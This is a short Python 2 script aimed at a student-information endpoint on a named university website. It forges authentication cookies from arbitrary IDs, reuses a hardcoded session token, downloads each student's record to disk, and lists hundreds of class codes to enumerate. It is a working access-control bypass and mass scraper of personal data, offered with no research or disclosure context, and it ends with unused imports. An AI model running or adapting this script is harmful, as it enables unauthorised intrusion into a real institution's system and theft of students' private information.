# -*- coding: utf-8 -*-

import urllib2, cookielib
import threading

def download(id):
    global count
    url=r'http://szyx.hnust.edu.cn/xg/xg/studentInfo.do?method=getStudentInfo'
    cookie_support= urllib2.HTTPCookieProcessor(cookielib.CookieJar())
    opener = urllib2.build_opener(cookie_support, urllib2.HTTPHandler)
    opener.addheaders.append( ("Cookie" , 
        "JSESSIONID=bJRDSxRCn6GbngWVchh0p7nCnfk99QL2GggQMSq7CnvrkLpyKh0b!-726611923;SECURE_AUTH_ROOT_COOKIE="
        +id+";SECURITY_AUTHENTICATION_COOKIE="+id) )
    content=' '*6000
    content=opener.open(url).read()
    # content=content.decode('gbk').encode('utf8')
    print 'download',id,len(content)
    open('data/'+id+'.txt','w').write(content)



class_inf=["13010101","13010102","13010103","13010104","13010201","13010202","13010203","13010301","13010302","13010303","13010401","13010402","13010403","13020101","13020102","13020103","13020104","13020105","13020106","13020107","13020108","13020401","13020402","13020501","13020502","13020503","13020601","13020602","13020701","13020702","13020801","13020802","13030101","13030102","13030103","13030104","13030105","13030201","13030202","13030301","13030302","13030401","13030402","13030501","13030502","13030601","13030602","13040101","13040102","13040103","13040104","13040105","13040201","13040202","13040203","13040204","13040301","13040302","13040303","13040401","13040402","13040403","13050101","13050102","13050103","13050104","13050105","13050201","13050202","13050203","13050301","13050302","13050303","13050401","13050402","13060101","13060102","13060103","13060201","13060202","13060301","13060302","13060401","13060402","13060403","13060501","13060502","13060601","13060602","13060603","13060701","13060702","13060801","13060802","13070101","13070102","13070103","13070201","13070202","13070203","13070204","13070301","13070302","13080101","13080102","13080201","13080202","13080203","13080301","13080401","13080402","13090101","13090102","13090103","13090201","13090301","13090302","13090401","13090402","13090403","13100101","13100102","13100201","13100202","13100301","13100302","13100401","13100402","13100501","13100502","13100601","13100602","13110101","13110102","13110103","13110104","13110201","13110202","13110301","13110302","13110401","13110402","13120101","13120102","13120103","13120104","13120105","13120201","13120202","13120301","13120302","13120401","13140101","13140102","13140201","13140202","13140401","13140402","13140403","13140501","13140502","13140503","13150101","13150102","13150103","13150201","13150202","13150203","13150301","13150302","13150303","13150304","13150305","13150401","13150402","13150403","13150501","13150502","13150601","13150602","13150701","13150702","13150801","13150802","13160101","13160102","13160103","13160201","13160202","13160301","13160302","13160303","13160401","13160501","13160502","13160601","13160602","13160701","13160702","13160801","13170101","13170102","13170103","13170104","13170201","13170202","13180101","13180102","13180103","13180201","13180202","13180301","13180302","13180401","13180402","13190101","13190102","13190103","13190201","13190301","13190302","13520101","13520102","13520103","13520104","13520105","13520106","13530101","13530102","13530103","13530104","13530105","13540101","13540102","13540103","13540301","13540302","13540401","13540402","13550101","13600101","13600102","13610101","13610102","13610401","13620101","13620102","13620103","13620104","13620105","13620106","13650201","13650202","13650301","13650302","13650303","13650304","13650305","13650306","13650307","13650401","13650402","13650403","13650404","13650601","13650602","13660101","13660201","13660601","13660602","13660701","13670101","13670102","13670103","13670104","13670201","13680101","13690101"]

import time
import thread